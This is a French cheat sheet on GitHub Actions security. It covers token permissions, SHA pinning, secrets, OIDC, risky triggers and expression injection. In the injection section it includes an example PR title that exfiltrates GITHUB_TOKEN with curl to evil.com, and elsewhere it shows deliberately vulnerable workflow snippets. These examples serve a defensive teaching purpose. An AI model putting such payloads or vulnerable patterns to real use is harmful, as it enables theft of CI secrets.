Cheat Sheet Sécurité GitHub Actions : Permissions, Pinning, Secrets et OIDC

1. Permissions — Principe du moindre privilège

Le changement le plus impactant que vous puissiez apporter à n’importe quel workflow GitHub Actions est de verrouiller les permissions. Par défaut, GITHUB_TOKEN dispose d’un accès en lecture et écriture sur la plupart des scopes. Corrigez cela immédiatement.

Permissions en lecture seule par défaut (niveau global)

Placez ceci en haut de chaque fichier workflow pour définir la lecture seule comme valeur par défaut pour tous les jobs :

# .github/workflows/ci.yml
name: CI
on: [push, pull_request]

permissions: read-all

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

Permissions vides (aucun accès)

Pour les jobs qui n’interagissent jamais avec les API GitHub ni le dépôt, supprimez toutes les permissions :

jobs:
  lint:
    runs-on: ubuntu-latest
    permissions: {}
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

Pourquoi ça fonctionne : actions/checkout utilise le token pour les dépôts privés mais se rabat sur un clone anonyme pour les dépôts publics. Si votre dépôt est public, permissions: {} est sûr pour le checkout.

Recettes de permissions par job

N’accordez que ce dont chaque job a besoin :

# Checkout uniquement (dépôt privé)
jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

# Déployer sur GitHub Pages
jobs:
  deploy-pages:
    permissions:
      pages: write
      id-token: write
    runs-on: ubuntu-latest

# Pousser vers GitHub Container Registry (GHCR)
jobs:
  push-image:
    permissions:
      contents: read
      packages: write
    runs-on: ubuntu-latest

# Créer une GitHub Release
jobs:
  release:
    permissions:
      contents: write
    runs-on: ubuntu-latest

# Commenter une Pull Request
jobs:
  comment:
    permissions:
      pull-requests: write
    runs-on: ubuntu-latest

Règle d’or : Commencez avec permissions: {} et ajoutez les scopes un par un jusqu’à ce que le job réussisse. Ne laissez jamais les permissions lecture-écriture par défaut en place.

2. Pinning des actions — Arrêtez d’utiliser les tags

Les tags comme @v4 sont mutables. Un attaquant qui compromet une action populaire peut déplacer le tag vers un commit malveillant. Épinglez chaque action tierce à un SHA complet.

Épinglé vs. Non épinglé

# DANGEREUX — le tag peut être déplacé vers n'importe quel commit
- uses: actions/checkout@v4

# SÛR — référence de commit immuable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

Le commentaire en fin de ligne préserve la lisibilité tandis que le SHA verrouille le code exact que vous avez audité.

Trouver le SHA de n’importe quelle action

# Obtenir le SHA complet pour un tag spécifique
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1

# Ou utiliser l'API GitHub
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'

Automatiser les mises à jour avec Dependabot

Épingler par SHA ne signifie pas que vous arrêtez de mettre à jour. Laissez Dependabot proposer automatiquement les montées de version :

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: "/"
    schedule:
      interval: weekly
    commit-message:
      prefix: "ci"
    reviewers:
      - "your-org/security-team"
    labels:
      - "dependencies"
      - "ci"

Dependabot comprend les pins SHA. Il mettra à jour le SHA et le commentaire du tag en une seule PR.

3. Gestion des secrets

GitHub propose trois périmètres de secrets. Choisissez le bon pour minimiser le rayon d’impact.

Comparaison des périmètres de secrets

Périmètre Visibilité Idéal pour
Repository Tous les workflows d’un dépôt Clés API spécifiques au dépôt, tokens
Environment Uniquement les jobs ciblant cet environnement Identifiants de production, clés de déploiement
Organization Dépôts sélectionnés dans l’organisation Comptes de service partagés, identifiants de registre

Règles de protection des environnements

Les environnements vous permettent de conditionner les déploiements à des approbations, des délais d’attente et des restrictions de branches :

jobs:
  deploy-production:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - name: Deploy
        run: ./deploy.sh
        env:
          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}

Ensuite, configurez l’environnement production dans Settings → Environments avec :

  • Réviseurs requis (au moins 1)
  • Délai d’attente (par ex. 5 minutes)
  • Restriction de branche de déploiement : main uniquement

La zone de danger pull_request vs pull_request_target

C’est l’une des incompréhensions les plus dangereuses dans GitHub Actions :

Déclencheur Code extrait Secrets disponibles ? Risque
pull_request Commit de merge de la PR Non (forks) Faible
pull_request_target Branche de base Oui Critique si vous extrayez le code de la PR

Ne faites jamais ceci :

# VULNÉRABILITÉ CRITIQUE — secrets exposés au code de la PR du fork
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Extrait du code NON FIABLE du fork
      - run: ./build.sh  # Exécute du code contrôlé par l'attaquant AVEC les secrets

Si vous avez besoin de pull_request_target, n’extrayez jamais le head de la PR. Utilisez-le uniquement pour étiqueter ou commenter sur le code de la branche de base.

4. OIDC / Workload Identity Federation

Cessez de stocker des identifiants cloud à longue durée de vie comme secrets. Utilisez OpenID Connect pour obtenir des tokens à courte durée de vie directement auprès de votre fournisseur cloud.

Bloc de permissions requis pour tous les workflows OIDC :

permissions:
  id-token: write   # Requis pour demander le JWT OIDC
  contents: read    # Requis pour actions/checkout

AWS — Configurer OIDC

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

Modèle de politique de confiance AWS :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

GCP — Workload Identity Federation

- name: Authenticate to Google Cloud
  uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
  with:
    workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
    service_account: github-actions@my-project.iam.gserviceaccount.com

Azure — Federated Credentials

- name: Azure Login
  uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
  with:
    client-id: ${{ secrets.AZURE_CLIENT_ID }}
    tenant-id: ${{ secrets.AZURE_TENANT_ID }}
    subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

Avantage clé : Aucun identifiant statique stocké nulle part. Les tokens expirent en quelques minutes. La politique de confiance restreint quels dépôts, branches et environnements peuvent assumer le rôle.

5. Déclencheurs de workflow — Sûrs vs. Dangereux

Tous les déclencheurs ne se valent pas. Certains exécutent du code provenant de sources non fiables ou accordent des permissions élevées.

Tableau de sécurité des déclencheurs

Déclencheur Niveau de risque Notes
push Faible N’exécute que du code déjà fusionné
pull_request Faible Pas de secrets pour les forks
schedule Faible S’exécute sur la branche par défaut
workflow_dispatch Moyen Déclencheur manuel — validez les entrées
pull_request_target Élevé Secrets disponibles — voir Section 3
issue_comment Élevé N’importe quel commentateur peut déclencher — contrôlez avec des vérifications de permissions
workflow_run Élevé Hérite du contexte élevé du workflow déclencheur

Filtrage par branche et chemin

Réduisez les exécutions inutiles et limitez l’exposition :

on:
  push:
    branches:
      - main
      - 'releases/**'
    paths:
      - 'src/**'
      - 'package.json'
    paths-ignore:
      - 'docs/**'
      - '*.md'

Contrôle de la concurrence

Empêchez plusieurs déploiements de se chevaucher :

concurrency:
  group: deploy-${{ github.ref }}
  cancel-in-progress: false  # Ne pas annuler les déploiements en cours

# Pour les builds de PR où annuler les anciennes exécutions est sûr :
concurrency:
  group: ci-${{ github.event.pull_request.number || github.sha }}
  cancel-in-progress: true

6. Sécurité des actions tierces

Chaque ligne uses: dans votre workflow est une dépendance de la chaîne d’approvisionnement. Traitez-la comme n’importe quelle autre dépendance.

Checklist d’audit

Avant d’adopter une action tierce, vérifiez :

  • Éditeur : Provient-elle d’un créateur vérifié ou d’une organisation connue (par ex. actions/*, aws-actions/*) ?
  • Code source : Avez-vous lu le fichier action.yml et le script d’entrée ?
  • Permissions : Demande-t-elle plus que nécessaire ?
  • Stars / utilisation : Les actions peu utilisées présentent un risque plus élevé.
  • Maintenance : Quand a eu lieu le dernier commit ? Les issues sont-elles traitées ?
  • Dépendances : Importe-t-elle un énorme arbre node_modules ?

Forkez les actions critiques

Pour les actions qui s’exécutent dans des pipelines sensibles, forkez-les dans votre organisation :

# Au lieu de :
- uses: some-random-org/deploy-action@v2

# Forkez et épinglez :
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Mettez en place un workflow planifié pour synchroniser votre fork et examiner les diffs avant de fusionner les changements upstream.

CODEOWNERS pour les fichiers workflow

Exigez une revue de l’équipe sécurité pour tout changement de workflow :

# .github/CODEOWNERS
.github/workflows/   @your-org/security-team
.github/actions/      @your-org/security-team

Combinez avec les règles de protection de branche exigeant l’approbation des CODEOWNERS pour rendre cela applicable.

7. Prévention de l’injection d’expressions

Les expressions GitHub Actions (${{ }}) sont développées par template avant que le shell ne les voie. Si un attaquant contrôle la valeur, il contrôle votre shell.

Le pattern dangereux

# VULNÉRABLE — l'attaquant contrôle le titre de la PR
- name: Echo PR title
  run: echo "PR: ${{ github.event.pull_request.title }}"

Un titre de PR malveillant comme Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # sort du echo et exfiltre votre token.

Contextes dangereux qui acceptent des entrées utilisateur :

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.head_commit.message
  • github.head_ref (nom de branche des forks)

L’alternative sûre — Variables d’environnement

# SÛR — la valeur est passée comme variable d'environnement, pas injectée dans le script
- name: Echo PR title
  run: echo "PR: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Lorsque la valeur transite par une variable d’environnement, le shell la traite comme une donnée, pas comme du code. C’est la correction pour chaque injection d’expression.

Utilisation sûre dans les conditions

Les expressions dans les conditions if: sont sûres car elles sont évaluées par le runtime Actions, pas par le shell :

# SÛR — évalué par le runtime Actions, pas le shell
- name: Check label
  if: contains(github.event.pull_request.labels.*.name, 'deploy')
  run: echo "Deploy label found"

8. Erreurs courantes — Top 5 avec corrections

Erreur 1 : Permissions de token par défaut (trop permissives)

# MAUVAIS — lecture-écriture implicite sur tout
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

# CORRIGÉ — lecture seule explicite par défaut
on: push
permissions: read-all
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

Erreur 2 : Utiliser des tags mutables pour les actions

# MAUVAIS
- uses: actions/setup-node@v4

# CORRIGÉ
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Erreur 3 : Identifiants cloud à longue durée de vie comme secrets

# MAUVAIS — clés AWS statiques qui n'expirent jamais
env:
  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# CORRIGÉ — fédération OIDC, aucun identifiant stocké
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

Erreur 4 : Extraire le code de la PR dans pull_request_target

# MAUVAIS — exécute du code non fiable avec les secrets
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: make build

# CORRIGÉ — utiliser le déclencheur pull_request (pas de secrets pour les forks)
on: pull_request
steps:
  - uses: actions/checkout@v4
  - run: make build

Erreur 5 : Injection d’expression via run:

# MAUVAIS — interpolation directe des entrées utilisateur
- run: echo "Issue: ${{ github.event.issue.title }}"

# CORRIGÉ — passer par une variable d'environnement
- run: echo "Issue: $ISSUE_TITLE"
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}

Carte de référence rapide

Pratique En une ligne
Permissions par défaut permissions: read-all en haut du workflow
Épingler les actions Utiliser le SHA complet de 40 caractères + commentaire du tag
Mise à jour auto des pins Dependabot avec l’écosystème github-actions
Auth cloud Fédération OIDC, jamais de clés statiques
Protéger les secrets Périmètres d’environnement + règles de protection
Prévenir l’injection Toujours utiliser env: pour les valeurs contrôlées par l’utilisateur
Revue des workflows CODEOWNERS sur .github/workflows/
Éviter les déclencheurs risqués Éviter pull_request_target + checkout

Appliquer ne serait-ce que la moitié de ces pratiques place votre pipeline CI/CD en avance sur la plupart des organisations. Commencez par les permissions et le pinning — cela prend cinq minutes et élimine des classes entières d’attaques de la chaîne d’approvisionnement. Ensuite, passez à la fédération OIDC et à la prévention de l’injection d’expressions pour combler les lacunes restantes.

Pour vous exercer concrètement, explorez nos labs Sécurité CI/CD et guides GitHub Actions pour voir ces patterns appliqués dans des scénarios réels.